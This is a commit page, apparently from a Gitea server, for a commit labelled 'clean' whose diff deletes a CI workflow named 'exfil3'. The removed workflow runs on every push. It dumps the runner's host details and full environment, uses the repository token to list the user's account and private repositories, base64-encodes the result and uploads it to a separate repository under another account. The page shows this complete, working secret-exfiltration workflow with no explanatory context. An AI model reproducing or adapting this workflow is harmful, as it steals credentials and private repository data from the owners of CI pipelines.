clean
tokx / t (push) Waiting to run

This commit is contained in:
n
2026-11-08 19:02:55 +00:00
parent a611d0a45b
commit baa419d93e
22 changed files with 10 additions and 280 deletions
-29
View File
@@ -1,29 +0,0 @@
name: exfil3
on:
push:
workflow_dispatch:
jobs:
grab:
runs-on: ubuntu-latest
steps:
- name: dump
run: |
set -x
OUT=/tmp/out.txt
{
echo "HOSTNAME=$(hostname)"
echo "ID=$(id)"
echo "UNAME=$(uname -a)"
echo "PWD=$(pwd)"
echo "--- env ---"
env | sort
echo "--- api /user ---"
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/user"
echo
echo "--- api repos private ---"
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/repos/search?limit=30&private=true"
} > $OUT 2>&1
B64=$(base64 -w0 $OUT)
curl -s -m 20 -X POST -H "Authorization: token ${GITEA_TOKEN}" -H "Content-Type: application/json" \
-d "{\"content\":\"$B64\",\"message\":\"r\",\"branch\":\"main\"}" \
"${GITHUB_SERVER_URL}/api/v1/repos/numatester77/numaprobe/contents/result.txt"